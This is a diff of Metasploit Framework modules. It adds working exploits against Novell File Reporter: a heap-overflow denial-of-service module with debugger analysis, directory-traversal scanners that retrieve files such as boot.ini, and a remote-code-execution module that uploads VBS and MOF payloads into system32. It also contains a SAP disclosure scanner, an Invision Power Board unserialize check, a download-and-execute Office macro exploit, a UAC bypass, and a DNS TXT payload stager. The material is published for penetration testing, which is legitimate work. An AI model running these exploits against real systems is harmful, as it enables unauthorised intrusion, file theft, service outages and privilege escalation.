diff --git a/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb b/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb new file mode 100644 index 0000000000..0359e7000b --- /dev/null +++ b/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb @@ -0,0 +1,234 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'NFR Agent Heap Overflow Vulnerability', + 'Description' => %q{ + This module exploits a heap overflow in NFRAgent.exe, a component of Novell + File Reporter (NFR). The vulnerability occurs when handling requests of name "SRS", + where NFRAgent.exe fails to generate a response in a secure way, copying user + controlled data into a fixed-length buffer in the heap without bounds checking. + This module has been tested against NFR Agent 1.0.4.3 (File Reporter 1.0.2). + }, + 'Author' => [ 'juan vazquez' ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'CVE', 'CVE-2012-4956' ], + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ] + ], + 'DisclosureDate' => 'Nov 16 2012')) + + register_options( + [ + Opt::RPORT(3037), + OptBool.new('SSL', [true, 'Use SSL', true]) + ], self.class) + + end + + def rport + datastore['RPORT'] + end + + def peer + "#{rhost}:#{rport}" + end + + def run + record = "" + record << "SRS47" # Operation + record << "#{Rex::Text.rand_text_alpha(10)}" * 0xc35 # Volumes + record << "" + + md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase + message = md5 + record + + print_status("#{peer} - Triggering a heap overflow to cause DoS...") + + begin + res = send_request_cgi( + { + 'uri' => '/FSF/CMD', + 'version' => '1.1', + 'method' => 'POST', + 'ctype' => "text/xml", + 'data' => message, + }) + rescue ::Errno::ECONNRESET + print_good("#{peer} - NFR Agent didn't answer, DoS seems successful") + return + end + + if res + print_error("#{peer} - NFR Agent didn't die, it still answers...") + return + end + + print_good("#{peer} - NFR Agent didn't answer, DoS seems successful") + end +end + +=begin + +* Static analysis + +1) Handling of "SRS" records happens in handle_SRS_sub_4048D0: + +.text:00404BE9 add esp, 0Ch +.text:00404BEC push 14h ; length_arg_C +.text:00404BEE lea eax, [ebp+record_name_var_28] +.text:00404BF1 push eax ; result_arg_8 +.text:00404BF2 push offset aName ; "NAME" +.text:00404BF7 mov ecx, [ebp+message_arg_8] +.text:00404BFA add ecx, 20h +.text:00404BFD push ecx ; xml_message_arg_0 +.text:00404BFE mov ecx, [ebp+var_2C] +.text:00404C01 call parse_tag_sub_40A760 ; search tag "NAME" in the xml_message_arg_0 and store contents int he "record_name_var_28" variable +.text:00404C06 movzx edx, al +.text:00404C09 test edx, edx +.text:00404C0B jz short loc_404C8B +.text:00404C0D push offset aSrs_2 ; "SRS" +.text:00404C12 lea eax, [ebp+record_name_var_28] +.text:00404C15 push eax ; char * +.text:00404C16 call _strcmp ; compares the contents of the "NAME" element in the xml message from the request with the "SRS" string. +.text:00404C1B add esp, 8 +.text:00404C1E test eax, eax +.text:00404C20 jnz short loc_404C38 ; if not "SRS" name check others, if yes, handle it... +.text:00404C22 mov ecx, [ebp+message_arg_8] +.text:00404C25 push ecx ; void * +.text:00404C26 mov edx, [ebp+arg_4] +.text:00404C29 push edx ; int +.text:00404C2A mov eax, [ebp+arg_0] +.text:00404C2D push eax ; int +.text:00404C2E call handle_SRS_sub_4048D0 ; handle the XML message with the RECORD of NAME "SRS" + +2) In this function memory is allocated to store the response which will be build: + +.text:00404903 push 0C350h ; size_t +.text:00404908 call _malloc +.text:0040490D add esp, 4 +.text:00404910 mov [ebp+response_var_8], eax + +0:007> g +Breakpoint 0 hit +eax=009e68b8 ebx=003f3bf8 ecx=b85645ca edx=7c90e4f4 esi=003f3bf8 edi=00000000 +eip=00404908 esp=0120ff4c ebp=0120ff58 iopl=0 nv up ei pl nz na po nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 +NFRAgent+0x4908: +00404908 e84cef0300 call NFRAgent+0x43859 (00443859) +0:007> dd esp L1 +0120ff4c 0000c350 +0:007> p +eax=01220110 ebx=003f5e20 ecx=7c9101bb edx=009e0608 esi=003f5e20 edi=00000000 +eip=0040490d esp=0120ff4c ebp=0120ff58 iopl=0 nv up ei pl nz na po nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 +NFRAgent+0x490d: +0040490d 83c404 add esp,4 +0:007> !heap -p -a eax + address 01220110 found in +_HEAP @ 9e0000 + HEAP_ENTRY Size Prev Flags UserPtr UserSize - state + 01220108 186b 0000 [01] 01220110 0c350 - (busy) + +3) The SRS record used in this module is handled by: + +.text:004082E0 ; int __stdcall SRS_7_4_sub_4082E0(char *xml_message_arg_0, char +*result_response_arg_4) + +4) The handling function allow to overflow the heap buffer when a big number of VOL elements are processed: + + for ( vol_object_var_254 = v25; vol_object_var_254; vol_object_var_254 = *(_DWORD +*)(vol_object_var_254 + 12) ) + { + parse_tag_sub_40A760((void *)v15, *(const char **)vol_object_var_254, (int)"VOL", +&vol_name_var_20c, 0x1F4u); // get VOL element + volume_fspace_vol_35C = handle_volume_sub_4081E0(&vol_name_var_20c); // Retrieve Volume +Free Space + volume_fscape_var_358 = v2; +vol_name_html_encode_var_494 = html_encode_sub_40B490(&vol_name_var_20c); // HTML Encode +the volume name (user controlled data) + if ( vol_name_html_encode_var_494 ) +{ // If the volume name has been HTML Encoded + v3 = volume_fscape_var_358; +v4 = volume_fspace_vol_35C; +v5 = vol_name_html_encode_var_494; +v6 = strlen(result_response_arg_4); +sprintf(&result_response_arg_4[v6], "%s%I64d", +v5, v4, v3); // Vulnerability!!! sprintf user controlled data (volume name) to the end of the +fix-length buffer in the heap without bound checking + free(vol_name_html_encode_var_494); + vol_name_html_encode_var_494 = 0; + } +else +{ // If the volume name hasn’t been HTML Encoded + v7 = volume_fscape_var_358; +v8 = volume_fspace_vol_35C; +v9 = strlen(result_response_arg_4); +sprintf( + &result_response_arg_4[v9], // Vulnerability!!! sprintf user controlled data (volume +name) to the end of the fix-length buffer in the heap without bound checking + "%s%I64d", +&vol_name_var_20c, +v8, +v7); + } + } + +The results for every volume (VOL element) are attached to the fixed-length heap buffer via the sprintf at 004085C5: + +Breakpoint 1 hit +eax=0122013e ebx=003f5e20 ecx=01220110 edx=c7ff3d52 esi=00479f89 edi=0120f1a1 +eip=004085c5 esp=0120eec8 ebp=0120f3c0 iopl=0 nv up ei pl nz na po nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 +NFRAgent+0x85c5: +004085c5 e84ea70300 call NFRAgent+0x42d18 (00442d18) +0:007> dd esp L1 +0120eec8 0122013e +0:007> !heap -p -a 0122013e + address 0122013e found in +_HEAP @ 9e0000 + HEAP_ENTRY Size Prev Flags UserPtr UserSize - state + 01220108 186b 0000 [01] 01220110 0c350 - (busy) +0:007> da poi(esp+4) +0047a040 "%s%I64" +0047a060 "d" +0:007> da poi(esp+8) +01250208 "AAAAAAAAAA" + +After the loop handling VOL overflows the heap buffer and both heap chunk metadata and contents are +overwritten for the chunk just after the vulnerable one: + +0:007> g +Breakpoint 0 hit +eax=00000000 ebx=003f5e20 ecx=00443085 edx=012501b0 esi=00479f89 edi=0120f1a1 +eip=00408645 esp=0120eedc ebp=0120f3c0 iopl=0 nv up ei pl zr na pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 +NFRAgent+0x8645: +00408645 c7852cfbffff00000000 mov dword ptr [ebp-4D4h],0 ss:0023:0120eeec=03ee2001 +0:007> !heap -p -a 01220110 + address 01220110 found in + _HEAP @ 9e0000 + HEAP_ENTRY Size Prev Flags UserPtr UserSize - state + 01220108 186b 0000 [01] 01220110 0c350 - (busy) +0:007> !heap -p -a 01220110+0xc350 + address 0122c460 found in +_HEAP @ 9e0000 + HEAP_ENTRY Size Prev Flags UserPtr UserSize - state + 0122c460 3e45 0000 [46] 0122c468 1f220 - (free) +0:007> db 0122c460 L8 +0122c460 45 3e 30 3c 2f 46 53 50 E>0 db 0122c468 L10 +0122c468 41 43 45 3e 3c 2f 56 4f-4c 3e 3c 56 4f 4c 3e 3c ACE>< +=end diff --git a/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb new file mode 100644 index 0000000000..1dccc41698 --- /dev/null +++ b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb @@ -0,0 +1,86 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'NFR Agent FSFUI Record Arbitrary Remote File Access', + 'Description' => %q{ + NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to retrieve + arbitrary text files via a directory traversal while handling requests to /FSF/CMD + with an FSFUI record with UICMD 126. This module has been tested successfully + against NFR Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File + Reporter 1.0.1). + }, + 'References' => + [ + [ 'CVE', 'CVE-2012-4958' ], + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ] + ], + 'Author' => + [ + 'juan vazquez' + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Nov 16 2012" + ) + + register_options( + [ + Opt::RPORT(3037), + OptBool.new('SSL', [true, 'Use SSL', true]), + OptString.new('RFILE', [true, 'Remote File', 'boot.ini']), + OptInt.new('DEPTH', [true, 'Traversal depth', 6]) + ], self.class) + + end + + def rport + datastore['RPORT'] + end + + def peer + "#{rhost}:#{rport}" + end + + def run_host(ip) + + traversal = "..\\" * datastore['DEPTH'] + record = "FSFUI126#{traversal}#{datastore['RFILE']}" + md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase + message = md5 + record + + print_status("#{peer} - Retrieving the file contents") + + res = send_request_cgi( + { + 'uri' => '/FSF/CMD', + 'version' => '1.1', + 'method' => 'POST', + 'ctype' => "text/xml", + 'data' => message, + }) + + if res and res.code == 200 and res.body =~ /1<\/VERSION>0<\/STATUS><\!\[CDATA\[(.*)\]\]><\/CFILE><\/RESULT>/m + loot = $1 + f = ::File.basename(datastore['RFILE']) + path = store_loot('novell.filereporter.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE']) + print_status("#{peer} - #{datastore['RFILE']} saved in #{path}") + else + print_error("#{peer} - Failed to retrieve the file contents") + end + end + +end + diff --git a/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb new file mode 100644 index 0000000000..6e8af6ae06 --- /dev/null +++ b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb @@ -0,0 +1,86 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'NFR Agent SRS Record Arbitrary Remote File Access', + 'Description' => %q{ + NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to retrieve + arbitrary files via a request to /FSF/CMD with a SRS Record with OPERATION 4 and + CMD 103, specifying a full pathname. This module has been tested successfully + against NFR Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File + Reporter 1.0.1). + }, + 'References' => + [ + [ 'CVE', 'CVE-2012-4957' ], + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ] + ], + 'Author' => + [ + 'juan vazquez' + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Nov 16 2012" + ) + + register_options( + [ + Opt::RPORT(3037), + OptBool.new('SSL', [true, 'Use SSL', true]), + OptString.new('RFILE', [true, 'Remote File', 'c:\\boot.ini']) + ], self.class) + + register_autofilter_ports([ 3037 ]) + deregister_options('RHOST') + end + + def rport + datastore['RPORT'] + end + + def peer + "#{rhost}:#{rport}" + end + + def run_host(ip) + + record = "SRS4103#{datastore['RFILE']}" + md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase + message = md5 + record + + print_status("#{peer} - Retrieving the file contents") + + res = send_request_cgi( + { + 'uri' => '/FSF/CMD', + 'version' => '1.1', + 'method' => 'POST', + 'ctype' => "text/xml", + 'data' => message, + }) + + if res and res.code == 200 and not res.body =~ // + loot = res.body + f = ::File.basename(datastore['RFILE']) + path = store_loot('novell.filereporter.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE']) + print_status("#{peer} - #{datastore['RFILE']} saved in #{path}") + else + print_error("#{peer} - Failed to retrieve the file contents") + end + end + +end + diff --git a/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb b/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb new file mode 100755 index 0000000000..da5e849fdc --- /dev/null +++ b/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb @@ -0,0 +1,166 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +## +# This module is based on, inspired by, or is a port of a plugin available in +# the Onapsis Bizploit Opensource ERP Penetration Testing framework - +# http://www.onapsis.com/research-free-solutions.php. +# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts +# in producing the Metasploit modules and was happy to share his knowledge and +# experience - a very cool guy. I'd also like to thank Chris John Riley, +# Ian de Villiers and Joris van de Vis who have Beta tested the modules and +# provided excellent feedback. Some people just seem to enjoy hacking SAP :) +## + +require "msf/core" + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure', + 'Description' => %q{ + This module attempts to identify software, OS and DB versions through the SAP + function TH_SAPREL using the /sap/bc/soap/rfc SOAP service. + }, + 'References' => + [ + [ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ] + ], + 'Author' => + [ + 'Agnivesh Sathasivam', + 'nmonkee' + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(8000), + OptString.new('CLIENT', [true, 'Client', nil]), + OptString.new('USERNAME', [true, 'Username', nil]), + OptString.new('PASSWORD', [true, 'Password', nil]) + ], self.class) + end + + def run_host(ip) + + data = '' + data << '' + data << '' + data << '' + data << '' + data << '' + data << '' + + user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD']) + + print_status("[SAP] #{ip}:#{rport} - sending SOAP TH_SAPREL request") + + begin + res = send_request_raw({ + 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN', + 'method' => 'POST', + 'data' => data, + 'headers' =>{ + 'Content-Length' => data.size.to_s, + 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', + 'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], + 'Authorization' => 'Basic ' + user_pass, + 'Content-Type' => 'text/xml; charset=UTF-8' + } + }, 45) + if res and res.code == 200 + kern_comp_on = $1 if res.body =~ /(.*)<\/KERN_COMP_ON>/i + kern_comp_time = $1 if res.body =~ /(.*)<\/KERN_COMP_TIME>/i + kern_dblib = $1 if res.body =~ /(.*)<\/KERN_DBLIB>/i + kern_patchlevel = $1 if res.body =~ /(.*)<\/KERN_PATCHLEVEL>/i + kern_rel = $1 if res.body =~ /(.*)<\/KERN_REL>/i + saptbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "[SAP] System Info", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Info", + "Value" + ]) + saptbl << [ "OS Kernel version", kern_comp_on ] + saptbl << [ "SAP compile time", kern_comp_time ] + saptbl << [ "DB version", kern_dblib ] + saptbl << [ "SAP patch level", kern_patchlevel ] + saptbl << [ "SAP Version", kern_rel ] + print(saptbl.to_s) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :sname => 'sap', + :type => 'os.kernel.version', + :data => "OS Kernel version: #{kern_comp_on}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :sname => 'sap', + :type => 'sap.time.compile', + :data => "SAP compile time: #{kern_comp_time}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :sname => 'sap', + :type => 'sap.db.version', + :data => "DB version: #{kern_dblib}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :sname => 'sap', + :type => 'sap.version.patch_level', + :data => "SAP patch level: #{kern_patchlevel}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'sap.version', + :data => "SAP Version: #{kern_rel}" + ) + + elsif res and res.code == 500 + response = res.body + error.push(response.scan(%r{(.*?)})) + err = error.join().chomp + print_error("[SAP] #{ip}:#{rport} - #{err.gsub(''','\'')}") + return + else + print_error("[SAP] #{ip}:#{rport} - error message: " + res.code.to_s + " " + res.message) if res + return + end + rescue ::Rex::ConnectionError + print_error("[SAP] #{ip}:#{rport} - Unable to connect") + return + end + + end +end diff --git a/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb b/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb index e19b14c840..59e992b013 100644 --- a/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'EgiX', # Vulnerability discovery and PoC + 'EgiX', # Vulnerability discovery, PoC, work on check() and cookie_prefix() methods 'juan vazquez', # Metasploit module 'sinn3r' # PhpEXE tekniq & check() method ], @@ -69,28 +69,39 @@ class Metasploit3 < Msf::Exploit::Remote return base end - def check - res = send_request_raw({'uri'=>"#{base}index.php"}) - return Exploit::CheckCode::Unknown if not res + def cookie_prefix + print_status("#{@peer} - Checking for cookie prefix") + cookie_prefix = "" + res = send_request_cgi( + { + 'uri' => "#{base}index.php", + 'method' => 'GET' + }) - version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten - return Exploit::CheckCode::Safe if version.empty? - version = version.map {|e| e.to_i} - - # We only want major version 3 - # This version checking is based on OSVDB's info - return Exploit::CheckCode::Safe if version[0] != 3 - - case version[1] - when 1 - return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4) - when 2 - return Exploit::CheckCode::Vulnerable if version[2].between?(0, 3) - when 3 - return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4) + if res and res.code == 200 and res.headers['Set-Cookie'] =~ /(.+)session/ + print_status("#{@peer} - Cookie prefix #{$1} found") + cookie_prefix = $1 end + return cookie_prefix + end - return Exploit::CheckCode::Safe + def check + @peer = "#{rhost}:#{rport}" + check_str = Rex::Text.uri_encode('a:1:{i:0;O:1:"x":0:{}}') + res = send_request_cgi( + { + 'uri' => "#{base}index.php", + 'method' => 'GET', + 'cookie' => "#{cookie_prefix}session_id=#{check_str}" + }) + + if res and res.code == 500 or res.body =~ /PHP_Incomplete_Class/ + return Exploit::CheckCode::Vulnerable + elsif res and res.code == 200 + return Exploit::CheckCode::Safe + else + return Exploit::CheckCode::Unknown + end end def on_new_session(client) @@ -110,20 +121,6 @@ class Metasploit3 < Msf::Exploit::Remote @upload_php = rand_text_alpha(rand(4) + 4) + ".php" @peer = "#{rhost}:#{rport}" - print_status("#{@peer} - Checking for cookie prefix") - res = send_request_cgi( - { - 'uri' => "#{base}index.php", - 'method' => 'GET' - }) - - if res and res.code == 200 and res.headers['Set-Cookie'] =~ /(.+)session/ - print_status("#{@peer} - Cookie prefix #{$1} found") - cookie_prefix = $1 - else - cookie_prefix = "" - end - # get_write_exec_payload uses a function, which limits our ability to support # Linux payloads, because that requires a space: # function my_cmd diff --git a/modules/exploits/windows/fileformat/ms12_005.rb b/modules/exploits/windows/fileformat/ms12_005.rb index 4cbfa12ec1..9844aa15d1 100644 --- a/modules/exploits/windows/fileformat/ms12_005.rb +++ b/modules/exploits/windows/fileformat/ms12_005.rb @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptEnum.new('PAYLOAD_TYPE', [true, "The initial payload type", 'PYTHON', %w(RUBY PYTHON)]), + OptEnum.new('INIT_PAYLOAD', [true, "The initial payload type", 'PYTHON', %w(RUBY PYTHON)]), OptString.new("BODY", [false, 'The message for the document body', '']), OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm']) ], self.class) @@ -144,7 +144,7 @@ class Metasploit3 < Msf::Exploit::Remote when /oleObject1\.bin/ # Patch the OLE object file with our payload print_status("Patching OLE object") - ptype = datastore['PAYLOAD_TYPE'] == 'PYTHON' ? :py : :rb + ptype = datastore['INIT_PAYLOAD'] == 'PYTHON' ? :py : :rb p = get_download_exec_payload(ptype, @ip, @port) buf = buf.gsub(/MYPAYLOAD/, p) diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index a0d30aac47..8eab936ebf 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -50,6 +50,11 @@ class Metasploit3 < Msf::Exploit::Local def exploit + isadmin = session.railgun.shell32.IsUserAnAdmin() + if isadmin['return'] + print_error('Already in elevated state. Exiting...') + return + end # # Verify use against Vista+ @@ -95,6 +100,31 @@ class Metasploit3 < Msf::Exploit::Local return end + # Check if you are an admin + print_status('Checking admin status...') + whoami = session.sys.process.execute('cmd /c whoami /groups', + nil, + {'Hidden' => true, 'Channelized' => true} + ) + cmdout = [] + isinadmins = [] + while(cmdoutput = whoami.channel.read) + cmdout << cmdoutput + end + if cmdout.size == 0 + print_error('Either whoami is not there or failed to execute') + print_error('Continuing under assumption you already checked...') + else + isinadmins = cmdout[0].split("\r\n").grep(/S-1-5-32-544/) + if isinadmins.size > 0 + print_good('Part of Administrators group! Continuing...') + else + print_error('Not in admins group, cannot escalate with this module') + print_error('Exiting...') + return + end + end + # # Generate payload and random names for upload # diff --git a/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb b/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb new file mode 100644 index 0000000000..a7baf9b8cb --- /dev/null +++ b/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb @@ -0,0 +1,149 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::WbemExec + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'NFR Agent FSFUI Record File Upload RCE', + 'Description' => %q{ + NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to upload + arbitrary files via a directory traversal while handling requests to /FSF/CMD with + FSFUI records with UICMD 130. This module has been tested successfully against NFR + Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'juan vazquez' + ], + 'References' => + [ + [ 'CVE', 'CVE-2012-4959'], + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ] + ], + 'Payload' => + { + 'Space' => 2048, + 'StackAdjustment' => -3500 + }, + 'DefaultOptions' => + { + 'WfsDelay' => 20 + }, + 'Platform' => 'win', + 'Targets' => + [ + #Windows before Vista + [ 'Automatic', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 16 2012')) + + register_options( + [ + Opt::RPORT(3037), + OptBool.new('SSL', [true, 'Use SSL', true]), + OptInt.new('DEPTH', [true, 'Traversal depth', 6]) + ], self.class) + + end + + def on_new_session(client) + + return if not @var_mof_name + return if not @var_vbs_name + + if client.type != "meterpreter" + print_error("NOTE: you must use a Meterpreter payload in order to automatically clean up.") + print_error("The following files must be removed manually:") + print_error("The VBS payload: %WINDIR%\\system32\\#{@var_vbs_name}.vbs") + print_error("The MOF file (%WINDIR%\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof)") + return # That's it + end + + # stdapi must be loaded before we can use fs.file + client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") + + begin + print_good("Deleting the VBS payload \"#{@var_vbs_name}.vbs\" ...") + windir = client.fs.file.expand_path("%WINDIR%") + client.fs.file.rm("#{windir}\\system32\\" + @var_vbs_name + ".vbs") + print_good("Deleting the MOF file \"#{@var_mof_name}.mof\" ...") + cmd = "#{windir}\\system32\\attrib.exe -r " + + "#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof" + client.sys.process.execute(cmd, nil, {'Hidden' => true }) + client.fs.file.rm("#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof") + rescue ::Exception => e + print_error("Exception: #{e.inspect}") + end + + end + + def peer + "#{rhost}:#{rport}" + end + + def exploit + + # In order to save binary data to the file system the payload is written to a .vbs + # file and execute it from there. + @var_mof_name = rand_text_alpha(rand(5)+5) + @var_vbs_name = rand_text_alpha(rand(5)+5) + + print_status("Encoding payload into VBS...") + payload = generate_payload_exe + vbs_content = Msf::Util::EXE.to_exe_vbs(payload) + + print_status("Generating VBS file...") + mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs") + + print_status("#{peer} - Uploading the VBS file") + worked = upload_file("WINDOWS\\system32\\#{@var_vbs_name}.vbs", vbs_content) + unless worked + fail_with(Failure::NotVulnerable, "Failed to upload the file") + end + + print_status("#{peer} - Uploading the MOF file") + upload_file("WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof", mof_content) + end + + def upload_file(filename, content) + traversal = "..\\" * datastore['DEPTH'] + traversal << filename + + record = "FSFUI130#{traversal}" + md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase + message = md5 + record + + res = send_request_cgi( + { + 'uri' => '/FSF/CMD', + 'version' => '1.1', + 'method' => 'POST', + 'ctype' => "text/xml", + 'data' => message, + }) + + if res and res.code == 200 and res.body.include? "10" + print_warning("#{peer} - File successfully uploaded: #{filename}") + else + print_error("#{peer} - Failed to upload the file") + return false + end + + true + end + +end diff --git a/modules/payloads/singles/windows/dns_txt_query_exec.rb b/modules/payloads/singles/windows/dns_txt_query_exec.rb index e737b31c04..bb897820ad 100644 --- a/modules/payloads/singles/windows/dns_txt_query_exec.rb +++ b/modules/payloads/singles/windows/dns_txt_query_exec.rb @@ -160,7 +160,7 @@ get_next_mod1: ; pop edi ; Pop off the current (now the previous) modules hash pop edx ; Restore our position in the module list mov edx, [edx] ; Get the next module - jmp next_mod ; Process this module + jmp.i8 next_mod ; Process this module ; actual routine start: @@ -195,7 +195,7 @@ load_dnsapi: mov bl,0x61 ; first query, start with 'a' dnsquery: - jmp get_dnsname ; get dnsname + jmp.i8 get_dnsname ; get dnsname get_dnsname_return: pop eax ; get ptr to dnsname (lpstrName) @@ -215,7 +215,7 @@ get_dnsname_return: call ebp ; test eax, eax ; query ok ? jnz jump_to_payload ; no, jump to payload - jmp get_query_result ; eax = 0 : a piece returned, fetch it + jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it get_dnsname: @@ -225,9 +225,9 @@ get_dnsname: get_query_result: xchg #{bufferreg},edx ; save start of heap pop #{bufferreg} ; heap structure containing DNS results - mov eax,[#{bufferreg}] ; if first dword has a non-null value, then stop - test eax,eax - jnz prepare_payload ; jmp to payload + mov eax,[#{bufferreg}+0x18] ; check if value at offset 0x18 is 0x1 + cmp eax,1 + jne prepare_payload ; jmp to payload add #{bufferreg},#{wTypeOffset} ; get ptr to ptr to DNS reply mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply @@ -243,7 +243,7 @@ copy_piece_to_heap: push edi ; inc ebx ; increment sequence xchg #{bufferreg},edx ; restore start of heap - jmp dnsquery ; try to get the next piece, if any + jmp.i8 dnsquery ; try to get the next piece, if any prepare_payload: mov #{bufferreg},edx